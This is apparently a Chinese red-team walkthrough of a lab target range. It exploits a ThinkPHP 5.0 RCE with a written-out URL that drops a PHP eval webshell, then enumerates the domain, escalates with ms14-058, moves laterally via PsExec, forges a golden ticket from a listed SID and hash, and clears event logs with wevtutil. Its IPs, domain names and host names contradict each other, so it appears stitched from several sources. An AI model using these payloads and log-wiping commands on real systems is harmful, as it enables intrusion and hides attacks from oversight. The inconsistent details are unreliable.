环境搭建
靶场虚拟机共用两个,一个外网一个内网,用来练习红队相关内容和方向,主要包括常规信息收集、Web攻防、代码审计、漏洞利用、内网渗透以及域渗透等相关内容学习。
虚拟机密码
win7
sun\heart 123.com
sun\Administrator dc123.com
# win7 web需要打开C盘里的phpstudy,最好关一下防火墙
2008
sun\admin 2020.com
密码修改位:Xiaodi.com
Win7双网卡模拟内外网
VMnet2网卡:192.168.25.0/24 外网
VMnet10网卡:192.168.26.0/24 内网
设置网卡
设置win2008网络
设置win7网络
查看网段
Windows 2028
关闭防火墙
打开phpstudy设置访问网页
外网渗透
端口扫描
我们使用nmap进行扫描win7:
nmap -T4 -sC -sV 192.168.16.134
发现Web服务和Mysql:
Getshell
.我们访问80端口,发现是一个thinkphp
版本是ThinkPHP V5.0,既然是V5.0,那么我们就可以尝试一下Thinkphp远程命令执行漏洞
漏洞描述:由于thinkphp对框架中的核心Requests类的method方法提供了表单请求伪造,该功能利用 $_POST['_method'] 来传递真实的请求方法。但由于框架没有对参数进行验证,导致攻击者可以设置 $_POST['_method']='__construct' 而让该类的变量被覆盖。攻击者利用该方式将filter变量覆盖为system等函数名,当内部进行参数过滤时便会进行执行任意命令
使用kali的searchsploit查找一下漏洞利用POC:
searchsploit thinkphp
)发现最后一个是thinkphp5.X版本的RCE,我们进入该漏洞的文件46150.txt:
cd /usr/share/exploitdb/exploits/php/webapps
cat 46150.txt
写入webshell
http://192.168.16.134/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3C%3Fphp%20%40eval(%24_POST%5B'cmd'%5D)%3B%3F%3E
攻入内网
域信息收集命令
net view # 查看局域网内其他主机名
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器主机名(可能有多台)
上线cs
利用插件漏洞ms14-058进行权限提升
先判断是否存在域,使用 ipconfig /all 查看 DNS 服务器,发现主 DNS 后缀不为空,存在域sum.com,如下图所示
者也可以执行命令net config Workstation 来查看当前计算机名、全名、用户名、系统版本、工作站、域、登录域等全面的信息
上面发现 DNS 服务器名为 sum.org,当前登录域为 GOD,那接下来可执行net view /domain查看有几个域(域环境可能存在多个域):
既然只有一个域,那就利用 net group "domain controllers" /domain 命令查看域控制器主机名,直接确认域控主机的名称为 DC:
已经确认域控主机的名称为 OWA,继续执行命名net view查看查看局域网内其他主机信息(主机名称、IP地址),可得知域控主机的 IP 为 192.168.52.138,如下图所示:
局域网扫描出来除了域控主机之外还有另一台主机(名称为ROOT-TVI862UBEH),最后再确认一下该主机是否也是存在域中,故执行命令net group "domain computers" /domain 查看
查看域管理员
net group "domain admins" /domain
查看目标列表
新建smb监听器
横向移动
Psexec横向移动
成功上线
看到连接图
权限维持
黄金票据
搜集到,用户:Administrator,域:sun.com
SID:S-1-5-21-3388020223-1982701712-4030140183-500
Hash:Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
注入成功了
清理日志
使用wevtutil进行清除
ps:记住清除痕迹非常重要,某些环境下不清除容易被gangang
shell wevtutil cl security //清理安全日志
shell wevtutil cl system //清理系统日志
shell wevtutil cl application //清理应用程序日志
shell wevtutil cl "windows powershell" //清除power shell日志
shell wevtutil cl Setup //清除(cl)事件日志中的 "Setup" 事件。